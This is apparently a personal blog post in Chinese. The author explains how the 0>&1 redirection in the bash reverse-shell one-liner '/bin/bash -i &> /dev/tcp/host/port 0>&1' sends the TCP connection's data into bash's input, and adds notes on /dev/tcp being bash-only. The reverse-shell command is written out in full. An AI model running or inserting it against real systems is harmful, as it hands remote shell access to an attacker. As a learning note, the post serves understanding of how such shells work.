hkt1998

hkt1998

对反弹shell中0>&1的理解

2024-03-13

今天在学习反弹shell,遇到一个经典的构造:

/bin/bash -i &> /dev/tcp/host/port 0>&1

对语句最后的0>&1我百思不得其解,为什么标准输入重定向到标准输出,攻击端输入的指定就到本机来了呢?标准输入指的是本机键盘输入吗?键盘输入重定向到屏幕不应该就是默认的吗?这里有什么作用?

网上查了很多文章,都没有讲清楚,最后看到菜鸟教程的一句话,终于搞懂了。

默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定向到 file。

stdout重定向到file好理解,command的执行结果原本应该输出到屏幕,但将stdout重定向到file后执行结果就写入file中。后面一句才是关键,stdin重定向到file,我原本理解的重定向就是数据的去向定位到某个地方,但重定向对于输入是不一样的意思。重定向到file不是指键盘输入内容写到file中,而是输入的来源重定向到file,就是从file中读数据。

0>&1就好理解了,标准输入重定向到标准输出,就是输入的数据来源是输出。此时要把/bin/bash -i &> /dev/tcp/host/port看成一个整体,这个整体的输入入口就是bash的输入,输出就是tcp连接的输出,所以0>&1就是把tcp连接的输出作为bash的输入来源。

其它要注意的:/dev/tcp/host/port不是一个真实存在的文件,用ls是看不到的,而且是bash专属功能,用zsh、sh都不行。像kali默认是zsh的情况,需要用chsh -s命令换成bash环境,需要重启shell。

chsh -s /usr/bin/bash